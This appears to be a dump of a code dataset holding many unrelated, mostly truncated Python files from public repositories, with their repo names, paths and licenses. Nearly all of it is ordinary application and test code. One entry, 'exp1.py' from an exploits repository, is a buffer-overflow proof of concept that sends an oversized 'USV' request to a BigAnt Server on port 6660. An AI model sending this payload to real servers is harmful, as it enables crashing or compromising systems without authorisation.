code
stringlengths
3
1.05M
repo_name
stringlengths
5
104
path
stringlengths
4
251
language
stringclasses
1 value
license
stringclasses
15 values
size
int64
3
1.05M
from a10sdk.common.A10BaseClass import A10BaseClass class AuthSamlIdp(A10BaseClass): """ :param saml_idp_name: {"description": "Local IDP metadata name", "format": "string", "minLength": 1, "optional": true, "maxLength": 63, "type": "string"} :param DeviceProxy: The device proxy for REST operations an...
amwelch/a10sdk-python
a10sdk/core/delete/delete_auth_saml_idp.py
Python
apache-2.0
1,028
# -*- coding: utf-8 -*- # 15/6/10 # create by: snower
snower/forsun
forsun/servers/__init__.py
Python
mit
53
from urlparse import urljoin, urlparse import urllib2 import re import StringIO import difflib try: from BeautifulSoup import BeautifulSoup except ImportError: from bs4 import BeautifulSoup import portage from euscan import output, helpers, mangling, CONFIG, SCANDIR_BLACKLIST_URLS, \ BRUTEFORCE_BLACKLIST...
iksaif/euscan
pym/euscan/handlers/generic.py
Python
gpl-2.0
7,458
from sqlalchemy import create_engine from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker,scoped_session from settings import DB_DIR Base = declarative_base() engine = create_engine(DB_DIR, echo=True) db = scoped_session(sessionmaker(bind=engine))
Luffin/ThousandSunny
GoingMerry/database.py
Python
mit
293
#!/usr/bin/env python # This file is part company_logo module for Tryton. # The COPYRIGHT file at the top level of this repository contains # the full copyright notices and license terms. from setuptools import setup import re import os import io try: from configparser import ConfigParser except ImportError: f...
ferjavrec/company_logo
setup.py
Python
gpl-3.0
3,994
"""Tests for WebSocket API commands.""" from async_timeout import timeout from homeassistant.components.websocket_api import const from homeassistant.components.websocket_api.auth import ( TYPE_AUTH, TYPE_AUTH_OK, TYPE_AUTH_REQUIRED, ) from homeassistant.components.websocket_api.const import URL from homea...
mKeRix/home-assistant
tests/components/websocket_api/test_commands.py
Python
mit
16,345
# Licensed under GPL version 3 - see LICENSE.rst import numpy as np from astropy.table import Table from astropy.coordinates import SkyCoord import astropy.units as u from scipy.stats import pearsonr import pytest from ...source import FixedPointing, JitterPointing, PointSource def test_reference_coordiante_system()...
hamogu/marxs
marxs/source/tests/test_pointing.py
Python
gpl-3.0
5,596
def main(): shour = float(raw_input("Enter the starting hours ")) smin = float(raw_input("Enter the starting minutes ")) ehour = float(raw_input("Enter the ending hours ")) emin = float(raw_input("Enter the ending minutes: ")) cperiodh = ehour-shour cperiodm = emin -smin cperiodm1 = cperiodm / 60 ...
sai29/Python-John-Zelle-book
Chapter_7/7.py
Python
mit
686
import json from django.core.urlresolvers import reverse from django.http import HttpResponse from django.shortcuts import render_to_response from django.template import RequestContext from mongoengine.base import ValidationError from crits.core import form_consts from crits.core.crits_mongoengine import json_handler...
kaoscoach/crits
crits/targets/handlers.py
Python
mit
15,290
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2013 Cloudbase Solutions SRL # Copyright 2013 Pedro Navarro Perez # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the...
ntt-sic/neutron
neutron/plugins/hyperv/agent/utils.py
Python
apache-2.0
9,859
from layout import Unit from layout.LayoutObject import LayoutObject from utils.datatypes import * from utils.Struct import Struct from DataTarget import DataTarget from urllib import unquote import utils import gobject import gtk # # Abstract class for DisplayTargets. # class DisplayTarget(DataTarget): __slo...
RaumZeit/gdesklets-core
display/DisplayTarget.py
Python
gpl-2.0
15,981
shader_code = """ <script id="orbit_shader-vs" type="x-shader/x-vertex"> uniform vec3 focus; uniform vec3 aef; uniform vec3 omegaOmegainc; attribute float lintwopi; varying float lin; uniform mat4 mvp; const float M_PI = 3.14159265359; void main() { float a = aef.x; float e...
dtamayo/rebound
rebound/widget.py
Python
gpl-3.0
25,951
import pandas as pd from sklearn.model_selection import train_test_split import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D # noqa: F401 unused import from PIL import Image as PIL_Image import glob import cairosvg # must pip install from dtreeviz.trees import * df_cars = pd.read_csv("data/cars....
parrt/AniML
testing/animate_rtree_bivar_3D.py
Python
bsd-3-clause
1,917
# -*- coding: utf-8 -*- # This file is part of Shoop. # # Copyright (c) 2012-2016, Shoop Ltd. All rights reserved. # # This source code is licensed under the AGPLv3 license found in the # LICENSE file in the root directory of this source tree. from __future__ import unicode_literals import pytest from django.conf impo...
akx/shoop
shoop_tests/front/test_customer_information.py
Python
agpl-3.0
2,322
required_modules = 'core:em:algebra:atom:statistics:multifit' required_dependencies = 'Boost.ProgramOptions:Boost.FileSystem:libTau' optional_dependencies = ''
shanot/imp
modules/cnmultifit/dependencies.py
Python
gpl-3.0
160
""" Helper functions that are only used in tests. """ import os import re from io import open from six import iteritems from coursera.define import IN_MEMORY_MARKER from coursera.utils import BeautifulSoup def slurp_fixture(path): return open(os.path.join(os.path.dirname(__file__), ...
coursera-dl/coursera
coursera/test/utils.py
Python
lgpl-3.0
1,315
# -*- coding: utf-8 -*- from django.db import models, migrations class Migration(migrations.Migration): dependencies = [("podcasts", "0030_ordered_episode")] operations = [ migrations.AddField( model_name="podcast", name="max_episode_order", field=models.PositiveI...
gpodder/mygpo
mygpo/podcasts/migrations/0031_podcast_max_episode_order.py
Python
agpl-3.0
409
from django.conf.urls import url from projects.comments.views import CommentAdd, CommentEdit, CommentDelete urlpatterns = [ # Create new comment url( r'^\/new', CommentAdd.as_view(), name='comment_add' ), # Edit a specific comment url( r'^\/(?P<pk>\d+)/edit$', ...
zurfyx/simple
simple/projects/comments/urls.py
Python
mit
531
import functools import time import traceback from multiprocessing.util import Finalize from threading import Event, RLock, Thread, current_thread from pymp import logger, trace_function from pymp.messages import DispatcherState, Request, Response, ProxyHandle, generate_id from collections import deque class State(obj...
ekarulf/pymp
src/pymp/dispatcher.py
Python
mit
11,009
""" :copyright: (c) 2011 Local Projects, all rights reserved :license: Affero GNU GPL v3, see LICENSE for more details. """ """ Extend the standard log module to enable some more detailed debug information. """ import os import logging import __main__ import logging.handlers from config import Config # Attemp...
codeforamerica/Change-By-Us
framework/log.py
Python
agpl-3.0
2,004
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Addons modules by CLEARCORP S.A. # Copyright (C) 2009-TODAY CLEARCORP S.A. (<http://clearcorp.co.cr>). # # This program is free software: you can redistribute...
sysadminmatmoz/odoo-clearcorp
TODO-7.0/mrp_production_sequence/__init__.py
Python
agpl-3.0
1,061
#!/usr/bin/python # -*- coding: utf-8 -*- import pkgutil import pkg_resources from raven import Client def get_modules(): resolved = {} modules = [mod[1] for mod in tuple(pkgutil.iter_modules())] for module in modules: try: res_mod = pkg_resources.get_distribution(module) ...
holmes-app/holmes-api
holmes/error_handlers/sentry.py
Python
mit
1,015
#!/usr/bin/env python """Distutils based setup script for SymPy. This uses Distutils (http://python.org/sigs/distutils-sig/) the standard python mechanism for installing packages. Optionally, you can use Setuptools (http://pythonhosted.org/setuptools/setuptools.html) to automatically handle dependencies. For the eas...
postvakje/sympy
setup.py
Python
bsd-3-clause
11,430
# -*- encoding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # This module copyright (C) 2014 Savoir-faire Linux # (<http://www.savoirfairelinux.com>). # # This program is free software: you can redistribute it and/or m...
houssine78/vertical-travel-porting-v8-wip
motor_vehicle/vehicle_category.py
Python
agpl-3.0
1,375
# -*- coding: utf-8 -*- """ Created on Mon Jan 30 16:04:08 2017 @author: 오연택 """ import tensorflow as tf import numpy as np xy = np.loadtxt('train.txt', unpack=True, dtype='float32') x_data = xy[0:-1] y_data = xy[-1] X = tf.placeholder(tf.float32) Y = tf.placeholder(tf.float32) W = tf.Variable(tf.random_uniform([1...
yeontaek/Basic-of-Tensorflow
04.Logistic Classification/01.logistic_classification.py
Python
apache-2.0
1,237
import pdb import logging import sys from tastypie import fields, http from tastypie.resources import ModelResource from tastypie.authentication import ApiKeyAuthentication, Authentication, SessionAuthentication, MultiAuthentication from tastypie.exceptions import NotFound from tastypie.constants import ALL, ALL_WITH_...
asm-products/banyan-web
core/api.py
Python
agpl-3.0
11,423
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import (division, print_function, absolute_import, unicode_literals) from .sampler import * from .interruptible_pool import InterruptiblePool from .mpi_pool import MPIPool from . import util __version__ = '1.0.0'
willvousden/ptemcee
ptemcee/__init__.py
Python
mit
278
# Copyright 2014-2015 ARM Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in w...
freedomtan/workload-automation
wlauto/common/android/resources.py
Python
apache-2.0
903
from __future__ import print_function, division from PyQt4 import QtGui, uic from clas12_wiremap import initialize_session, dc_fill_tables, dc_find_connections class Trial(QtGui.QWidget): def __init__(self,parent=None): super(QtGui.QWidget, self).__init__(parent) uic.loadUi('Trial.ui',sel...
theodoregoetz/clas12-dc-wiremap
scratch/Trial3.py
Python
gpl-3.0
1,431
#!c:/python25/python.exe # -*- coding: utf-8 -*- #*********************************************************************** #* #*********************************************************************** #* All rights reserved ** #* #* #* ...
lizardsystem/flooding-worker
flooding_worker/tasks/spawn.py
Python
gpl-3.0
12,846
# BEGIN_COPYRIGHT # # Copyright (C) 2014-2017 Open Microscopy Environment: # - University of Dundee # - CRS4 # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy # of the License at # # http://www.apache.org/lice...
simleo/pydoop-features
test/all_tests.py
Python
apache-2.0
944
# -*- coding: utf-8 -*- # Copyright 2017 KMEE # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). from odoo import fields, models class AccountAccountType(models.Model): _inherit = 'account.account.type' _order = 'sequence asc' sequence = fields.Integer( string=u'Sequence', )
thinkopensolutions/l10n-brazil
financial_account/models/inherited_account_account_type.py
Python
agpl-3.0
318
# Authors: Pearu Peterson, Pauli Virtanen, John Travers """ First-order ODE integrators. User-friendly interface to various numerical integrators for solving a system of first order ODEs with prescribed initial conditions:: d y(t)[i] --------- = f(t,y(t))[i], d t y(t=0)[i] = y0[i], where:: ...
e-q/scipy
scipy/integrate/_ode.py
Python
bsd-3-clause
48,017
# -*- test-case-name: twisted.test.test_pb -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Perspective Broker \"This isn\'t a professional opinion, but it's probably got enough internet to kill you.\" --glyph Introduction ============ This is a broker for proxies for and copies of ob...
Varriount/Colliberation
libs/twisted/spread/pb.py
Python
mit
48,450
__author__ = 'brendan' import main import pandas as pd import numpy as np from datetime import datetime as dt from matplotlib import pyplot as plt import random import itertools import time import dateutil from datetime import timedelta cols = ['BoP FA Net', 'BoP FA OI Net', 'BoP FA PI Net', 'CA % GDP'] raw_data = pd...
boneil3/backtest
BoP.py
Python
mit
3,114
# sqlalchemy/schema.py # Copyright (C) 2005-2011 the SQLAlchemy authors and contributors <see AUTHORS file> # # This module is part of SQLAlchemy and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php """The schema module provides the building blocks for database metadata. Each el...
eunchong/build
third_party/sqlalchemy_0_7_1/sqlalchemy/schema.py
Python
bsd-3-clause
113,306
# # File: capa/capa_problem.py # # Nomenclature: # # A capa Problem is a collection of text and capa Response questions. # Each Response may have one or more Input entry fields. # The capa problem may include a solution. # """ Main module which shows problems (of "capa" type). This is used by capa_module. """ from ...
tiagochiavericosta/edx-platform
common/lib/capa/capa/capa_problem.py
Python
agpl-3.0
36,583
import sys import inspect from functools import wraps import six class Prepareable(type): if not six.PY3: def __new__(cls, name, bases, attributes): try: constructor = attributes["__new__"] except KeyError: return type.__new__(cls, name, bases, attri...
lodevil/javaobject
javaobject/java/prepareable.py
Python
bsd-3-clause
1,749
from __future__ import unicode_literals from django.utils import six from djblets.extensions.hooks import (DataGridColumnsHook, ExtensionHook, ExtensionHookPoint, SignalHook, TemplateHook, URLHook) from reviewboard.accounts.backends import (r...
custode/reviewboard
reviewboard/extensions/hooks.py
Python
mit
20,845
# Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
chemelnucfin/tensorflow
tensorflow/python/keras/saving/saved_model/model_serialization.py
Python
apache-2.0
2,441
from base import BaseClient NURTURING_API_VERSION = '1' class NurturingClient(BaseClient): def _get_path(self, subpath): return 'nurture/v%s/%s' % (NURTURING_API_VERSION, subpath) def get_campaigns(self, **options): return self._call('campaigns', **options) def get_leads(self,...
ack8006/hapipy
hapi/nurturing.py
Python
apache-2.0
890
# -*- coding: utf-8 -*- # # OpenCraft -- tools to aid developing and hosting free software projects # Copyright (C) 2015-2019 OpenCraft <contact@opencraft.com> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Fre...
open-craft/opencraft
instance/tests/api/base.py
Python
agpl-3.0
1,343
#!/usr/bin/env python3 # Copyright (c) 2011 Qtrac Ltd. All rights reserved. # This program or module is free software: you can redistribute it and/or # modify it under the terms of the GNU General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any l...
therealjumbo/python_summer
py31eg/test_Atomic.py
Python
gpl-3.0
1,613
# Copyright 2016 The LUCI Authors. All rights reserved. # Use of this source code is governed under the Apache License, Version 2.0 # that can be found in the LICENSE file. import os import struct import sys def write_uvarint(w, val): """Writes a varint value to the supplied file-like object. Args: w (objec...
chromium/chromium
third_party/logdog/logdog/varint.py
Python
bsd-3-clause
1,542
'''Simple program to show MIDI note number (key) transposition.''' import midi_util from midi_util import NoteTransposer from pyportmidi import midi if __name__ == '__main__': midi.init() TRANSPOSITION_MAP = {37: 47, 38: 48, 39: 49, 40...
aoeu/python-examples
pyportmidi_examples/transpose_midi.py
Python
mit
845
"""empty message Revision ID: 92d260834de Revises: None Create Date: 2014-07-13 13:46:53.505094 """ # revision identifiers, used by Alembic. revision = '92d260834de' down_revision = None from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto generated by Alembic - please adjust! ### ...
LandRegistry/public-titles
migrations/versions/92d260834de_.py
Python
mit
853
# This file is part of the Frescobaldi project, http://www.frescobaldi.org/ # # Copyright (c) 2008 - 2016 by Wilbert Berendsen # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 ...
dliessi/frescobaldi
frescobaldi_app/gadgets/__init__.py
Python
gpl-2.0
1,075
# -*- coding: utf-8 -*- # (C) 2017 Carlos Serra-Toro <carlos.serra@braintec-group.com> # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html). from . import test_bank from . import test_lsv_export_wizard from . import test_dd_export_wizard from . import test_lsv_dd
CompassionCH/l10n-switzerland
l10n_ch_lsv_dd/tests/__init__.py
Python
agpl-3.0
280
# coding=utf-8 from setuptools import setup from setuptools.command.test import test class TestHook(test): def run_tests(self): import nose nose.main(argv=['nosetests', 'tests/', '-v', '--logging-clear-handlers']) setup( name='lxml-asserts', version='0.1.2', description='Handy funct...
SuminAndrew/lxml-asserts
setup.py
Python
apache-2.0
1,329
# -*- coding: utf-8 -*- # This file is part of Shuup. # # Copyright (c) 2012-2016, Shoop Commerce Ltd. All rights reserved. # # This source code is licensed under the AGPLv3 license found in the # LICENSE file in the root directory of this source tree. from __future__ import unicode_literals import json from django.f...
suutari/shoop
shuup/admin/forms/widgets.py
Python
agpl-3.0
4,135
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import re import sys try: from setuptools import setup except ImportError: from distutils.core import setup def get_version(*file_paths): """Retrieves the version from unach_photo_server/__init__.py""" filename = os.path.join(os.path.dirname(__f...
javierhuerta/unach-photo-server
setup.py
Python
mit
2,500
from functools import reduce from operator import or_ from chamber.shortcuts import get_object_or_none from django.db.models import Q from django.db.models.expressions import OrderBy from django.utils.translation import ugettext from .forms import RestValidationError from .exception import RestException from .utils....
druids/django-pyston
pyston/paginator.py
Python
bsd-3-clause
8,855
from django.http import HttpResponseForbidden from cloud_ide.fiddle.jsonresponse import JsonResponse import urllib2, base64, urlparse from HTMLParser import HTMLParseError from bs4 import BeautifulSoup as BS def scrape(request): url = request.GET['url'] if not urlparse.urlparse(url).scheme[0:4] == 'http': ...
yuguang/fiddlesalad
utility/views.py
Python
gpl-3.0
2,008
VIDEO_ENDPOINT = "https://www.giantbomb.com/api/video/%s/?api_key=%s&format=json" def Start(): HTTP.CacheTime = CACHE_1DAY def getJSON(video_guid): video_guid = str(video_guid) url = VIDEO_ENDPOINT % (video_guid, Prefs['api_key']) return JSON.ObjectFromURL(url)['results'] class GiantBombAgent(Agent....
tsigo/GiantBomb.bundle
Contents/Code/__init__.py
Python
mit
1,668
"""DWC Network Server Emulator Copyright (C) 2014 polaris- Copyright (C) 2014 msoucy Copyright (C) 2015 Sepalani This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either...
sepalani/dwc_network_server_emulator
gamespy_server_browser_server.py
Python
agpl-3.0
25,121
"""Copyright 2008 Orbitz WorldWide Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software...
bruce-lyft/graphite-web
webapp/graphite/app_settings.py
Python
apache-2.0
2,240
from __future__ import unicode_literals from __future__ import absolute_import from django.views.generic.base import TemplateResponseMixin from wiki.core.plugins import registry from wiki.conf import settings class ArticleMixin(TemplateResponseMixin): """A mixin that receives an article object as a parameter (u...
Infernion/django-wiki
wiki/views/mixins.py
Python
gpl-3.0
1,668
# -*- coding: utf-8 -*- # # This file is part of Invenio. # Copyright (C) 2014 CERN. # # Invenio is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of the # License, or (at your option) any later...
Lilykos/invenio
invenio/modules/uploader/tasks.py
Python
gpl-2.0
3,385
import unittest import os, sys, imp from qgis import utils from qgis.core import QgsVectorLayer, QgsField, QgsProject, QGis from qgis.PyQt.QtCore import QVariant from .qgis_models import set_up_interface from mole3.qgisinteraction import layer_interaction as li from mole3.qgisinteraction import plugin_interaction as p...
UdK-VPT/Open_eQuarter
mole3/tests/plugin_interaction_test.py
Python
gpl-2.0
4,712
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # This file is part of utext # # Copyright (C) 2012-2016 Lorenzo Carbonell # lorenzo.carbonell.cerezo@gmail.com # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Soft...
atareao/utext
src/utext/services.py
Python
gpl-3.0
8,053
# -*- coding: utf-8 -*- # # PyWavelets documentation build configuration file, created by # sphinx-quickstart on Sun Mar 14 10:46:18 2010. # # This file is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # ...
eriol/pywt
doc/source/conf.py
Python
mit
7,140
# Copyright (C) 2009 Google Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the f...
leighpauls/k2cro4
third_party/WebKit/Tools/Scripts/webkitpy/common/net/credentials_unittest.py
Python
bsd-3-clause
9,141
""" Course API """ from openedx.core.djangoapps.waffle_utils import WaffleSwitch, WaffleSwitchNamespace WAFFLE_SWITCH_NAMESPACE = WaffleSwitchNamespace(name='course_list_api_rate_limit') USE_RATE_LIMIT_2_FOR_COURSE_LIST_API = WaffleSwitch(WAFFLE_SWITCH_NAMESPACE, 'rate_limit_2') USE_RATE_LIMIT_10_FOR_COURSE_LIST_AP...
edx-solutions/edx-platform
lms/djangoapps/course_api/__init__.py
Python
agpl-3.0
379
# Copyright 2016-2017 FUJITSU LIMITED # Copyright 2018 OP5 AB # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applic...
stackforge/monasca-log-api
monasca_log_api/tests/test_policy.py
Python
apache-2.0
7,850
#exp1 #!/usr/bin/python import socket target_address="127.0.0.1" target_port=6660 buffer = "USV " + "\x41" * 2500 + "\r\n\r\n" sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=sock.connect((target_address,target_port)) sock.send(buffer) sock.close()
onedal88/Exploits-1
BigAnt Server 2.52 SP5/exp/exp1.py
Python
gpl-3.0
282
# -*- coding: utf-8 -*- __author__ = 'Alan Tai' ''' Created on Jun 24, 2014 @author: Alan Tai ''' import logging import jinja2 import webapp2 import json from dictionaries.dict_keys_values import KeysVaulesGeneral from handlers.handler_webapp2_extra_auth import BaseHandler from models.models_video_info import VideoIn...
Gogistics/prjTWPublicMovements
prjUnlimitedKP/src/dispatchers/dispatchers_videos.py
Python
apache-2.0
2,200
import odoo.tests class TestUi(odoo.tests.HttpCase): post_install = True at_install = False def test_01_admin_widget_x2many(self): self.phantom_js("/web#action=test_new_api.action_discussions", "odoo.__DEBUG__.services['web_tour.tour'].run('widget_x2many', 100)", ...
chienlieu2017/it_management
odoo/odoo/addons/test_new_api/tests/test_ui.py
Python
gpl-3.0
456
from django.db import models class FileMixin(models.Model): class Meta: abstract = True ordering = ('-created_at', '-modified_at', 'title') def __str__(self): return self.title def get_absolute_url(self): return self.file.url def save(self, *args, **kwargs): ...
developersociety/django-glitter
glitter/assets/mixins.py
Python
bsd-3-clause
443
import unittest from openid.yadis import services, etxrd, xri import os.path def datapath(filename): module_directory = os.path.dirname(os.path.abspath(__file__)) return os.path.join(module_directory, 'data', 'test_etxrd', filename) XRD_FILE = datapath('valid-populated-xrds.xml') NOXRDS_FILE = datapath('not-...
wtanaka/google-app-engine-django-openid
src/openid/test/test_etxrd.py
Python
gpl-3.0
6,886
#!/usr/bin/env python # Aid tools to quality checker. # Qchecklib # Eliane Araujo, 2016 import os import sys import commands import json try: from cc import measure_complexity except ImportError: print("tst quality checker needs cc.py to work.") sys.exit(1) try: sys.path.append('/usr/local/bin/radon...
elianearaujo/tst-qcheck
bin/qchecklib.py
Python
agpl-3.0
3,348
import pytest class TestHping3: @pytest.mark.complete("hping3 ") def test_1(self, completion): assert completion
algorythmic/bash-completion
test/t/test_hping3.py
Python
gpl-2.0
131
# Copyright 2012 Nebula, Inc. # Copyright 2013 IBM Corp. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required...
takeshineshiro/nova
nova/tests/functional/v3/test_console_output.py
Python
apache-2.0
1,656
# Copyright 2012 Cisco Systems, Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
shakamunyi/neutron-vrrp
neutron/plugins/cisco/l2device_plugin_base.py
Python
apache-2.0
4,551
# Copyright (c) 2006-2007 The Regents of The University of Michigan # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: redistributions of source code must retain the above copyright # notice, this ...
lastweek/gem5
tests/configs/o3-timing.py
Python
bsd-3-clause
2,441
class FixedPointTheorem: def cycleRange(self, R): x = 0.25 high = -1 low = 999 for i in range(0, 201001): x = R * x * (1-x) if(i > 200000): if(x > high): high = x if(x < low): low...
mikefeneley/topcoder
src/SRM-152/fixed_point_theorem.py
Python
mit
351
#!/usr/bin/python # Image querying script written by Tamara Berg, # and extended heavily James Hays # Modified by Juan C. Caicedo on Jan. 2013 # Further modified by Cecilia Mauceri Feb 2015 import sys, string, math, time, socket import random, os, re import threading from multiprocessing import Queue, JoinableQueue f...
crmauceri/VisualCommonSense
code/crawler/flickr_threads_toSQL.py
Python
mit
15,011
from tile import * from board import * class Player(object): def __init__(self, name): self.name = name self.hand = TilePile() print("New player " + self.name) def add_to_hand(self, tile): """ Adds tile to hand. """ self.hand.add_tile(tile) def re...
abenseny/ds
player.py
Python
mit
1,808
import logging from pytos.common.base_types import XML_Object_Base, XML_List from pytos.common.logging.definitions import XML_LOGGER_NAME from pytos.common.definitions import xml_tags from pytos.common.functions.xml import get_xml_text_value, get_xml_int_value, get_xml_node from pytos.securetrack.xml_objects.rest.rul...
Tufin/pytos
pytos/securetrack/xml_objects/rest/cleanups.py
Python
apache-2.0
3,635
# -*- coding: utf-8 -*- """ pygments.token ~~~~~~~~~~~~~~ Basic token types and the standard tokens. :copyright: Copyright 2006-2014 by the Pygments team, see AUTHORS. :license: BSD, see LICENSE for details. """ class _TokenType(tuple): parent = None def split(self): buf = [] ...
victoredwardocallaghan/pygments-main
pygments/token.py
Python
bsd-2-clause
5,731
from zope.interface import implementer from zope.interface import alsoProvides ############################################################################### # IO related ############################################################################### from plumber import plumber from node.behaviors import ( ...
bluedynamics/agx.core
src/agx/core/testing/mock.py
Python
bsd-3-clause
1,940
# vi: ts=4 expandtab # # Copyright (C) 2011 Canonical Ltd. # Copyright (C) 2012 Hewlett-Packard Development Company, L.P. # Copyright (C) 2014 Amazon.com, Inc. or its affiliates. # # Author: Scott Moser <scott.moser@canonical.com> # Author: Juerg Haefliger <juerg.haefliger@hp.com> # Author: Andrew Jor...
henrysher/aws-cloudinit
cloudinit/config/cc_landscape.py
Python
gpl-3.0
3,109
from base import Setting, SettingSet from django.utils.translation import ugettext as _ URLS_SET = SettingSet('urls', _('URL settings'), _("Some settings to tweak behaviour of site urls (experimental).")) ALLOW_UNICODE_IN_SLUGS = Setting('ALLOW_UNICODE_IN_SLUGS', False, URLS_SET, dict( label = _("Allow unicode in slu...
CLLKazan/iCQA
qa-engine/forum/settings/urls.py
Python
gpl-3.0
639
from flask import Blueprint api = Blueprint('api', __name__) from . import post
keithemiller/PVTA_Ride_Estimator
app/api/__init__.py
Python
mit
82
""" Created on 6/05/2013 @author: thom """ from plot import Plot from evaluator import Evaluator import matplotlib.colors as colors import logging class PlotNewMoleculeTypes(Plot): def draw_figure(self, f1, results_filename, **kwargs): iterations = [0] molecular_types_difference = [0] ...
th0mmeke/toyworld
evaluators/plot_new_molecule_types.py
Python
gpl-3.0
1,888
# standard library import re # third party from selenium import webdriver from selenium.common.exceptions import NoSuchElementException # Django from django.contrib.staticfiles.testing import LiveServerTestCase # local Django from pom.pages.authenticationPage import AuthenticationPage from pom.pages.volunteerProfile...
tulikavijay/vms
vms/volunteer/tests/test_volunteerProfile.py
Python
gpl-2.0
4,912
# coding=utf-8 # Copyright 2015 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import (absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement) import os from textw...
digwanderlust/pants
contrib/spindle/tests/python/pants_test/contrib/spindle/tasks/test_spindle_gen.py
Python
apache-2.0
2,368
""" Testing for Multi-layer Perceptron module (sklearn.neural_network) """ # Author: Issam H. Laradji # License: BSD 3 clause import sys import warnings import numpy as np from numpy.testing import assert_almost_equal, assert_array_equal from sklearn.datasets import load_digits, load_boston, load_iris from sklearn...
mbayon/TFG-MachineLearning
venv/lib/python3.6/site-packages/sklearn/neural_network/tests/test_mlp.py
Python
mit
22,194
from hazelcast.serialization.bits import * from hazelcast.protocol.client_message import ClientMessage from hazelcast.protocol.custom_codec import * from hazelcast.util import ImmutableLazyDataList from hazelcast.protocol.codec.queue_message_type import * REQUEST_TYPE = QUEUE_ISEMPTY RESPONSE_TYPE = 101 RETRYABLE = Fa...
cangencer/hazelcast-python-client
hazelcast/protocol/codec/queue_is_empty_codec.py
Python
apache-2.0
1,041
#!/usr/bin/env python """PyQt4 port of the tools/settingseditor example from Qt v4.x""" import sys from PySide import QtCore, QtGui class MainWindow(QtGui.QMainWindow): def __init__(self, parent=None): super(MainWindow, self).__init__(parent) self.settingsTree = SettingsTree() ...
cherry-wb/SideTools
examples/tools/settingseditor/settingseditor.py
Python
apache-2.0
26,175
# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
spinnaker/spinnaker-monitoring
spinnaker-monitoring-daemon/spinnaker-monitoring/stackdriver_service.py
Python
apache-2.0
13,237
#!/usr/bin/python3 import warnings warnings.simplefilter(action="ignore", category=FutureWarning) import camoco.PCCUP as PCCUP from .Camoco import Camoco from .RefGen import RefGen from .Locus import Locus, Gene from .Expr import Expr from .Tools import memoize, available_datasets from .Term import Term from .Onto...
schae234/Camoco
camoco/COB.py
Python
mit
95,136
import itertools import re from typing import Any, Iterable, List, Match, Optional METACATS = ['Cardset', 'Collection', 'Deck Building', 'Duel Scene', 'Leagues', 'Play Lobby', 'Trade'] CATEGORIES = ['Advantageous', 'Disadvantageous', 'Game Breaking', 'Avoidable Game Breaking', 'Graphical', 'Non-Functional ability'] BA...
PennyDreadfulMTG/Penny-Dreadful-Tools
modo_bugs/strings.py
Python
gpl-3.0
1,958
# vim:fileencoding=utf-8:noet from __future__ import (unicode_literals, division, absolute_import, print_function) import os import json from subprocess import check_call from operator import add from shutil import rmtree from powerline.lib.dict import mergedicts_copy as mdc from powerline import Powerline from tes...
S0lll0s/powerline
tests/test_config_merging.py
Python
mit
5,077
# Licensed to Elasticsearch B.V. under one or more contributor # license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright # ownership. Elasticsearch B.V. licenses this file to you under # the Apache License, Version 2.0 (the "License"); you may # not use ...
elastic/elasticsearch-py
elasticsearch/helpers/errors.py
Python
apache-2.0
1,213
